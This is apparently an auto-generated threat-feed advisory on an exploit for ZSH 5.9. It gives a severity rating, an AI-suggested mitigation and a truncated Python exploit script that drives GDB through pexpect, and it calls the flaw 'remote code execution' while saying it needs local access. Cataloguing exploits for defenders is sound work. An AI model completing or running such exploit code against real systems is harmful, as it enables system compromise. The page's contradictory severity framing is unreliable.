ExploitPublished 9 Apr 2026

ZSH 5.9 · RCE

Source Exploit-DB RSS Feed

Severity

Critical

Rated by Threat Radar

Data as of 22 Apr 2026, 07:07 UTC

What to do

AI-suggested

Until an official fix is available, restrict local access to trusted users only and monitor for suspicious activity related to ZSH usage.

Description

ZSH 5.9 - RCE

Impact

Successful exploitation of this vulnerability could allow an attacker with local access to execute arbitrary code on the affected system, potentially leading to full system compromise depending on the privileges of the exploited process.

Summary

This threat involves a critical remote code execution vulnerability affecting ZSH version 5.9. The exploit allows an attacker to execute arbitrary code locally. The available exploit code is written in Python.

Indicators of compromise

Exploit source code

Exploit code for ZSH 5.9 - RCE3,552 characters

# Exploit ZSH 5.9 - RCE 
# Date: 30-12-2025
# Exploit Author: sinanadilrana
import pexpect
import sys
import time

def debug_print(msg):
    print(f"[DEBUG] {msg}")

def return_to_gdb(gdb, max_attempts=3, timeout=3):
    """More reliable function to return to GDB prompt"""
    debug_print("Attempting to return to GDB...")
    for attempt in range(max_attempts):
        gdb.sendintr()  # Send CTRL+C
        time.sleep(0.5)
        try:
            index = gdb.expect([b'pwndbg>', b'\(gdb\)', pexpe…

References

Community reviews

Loading reviews…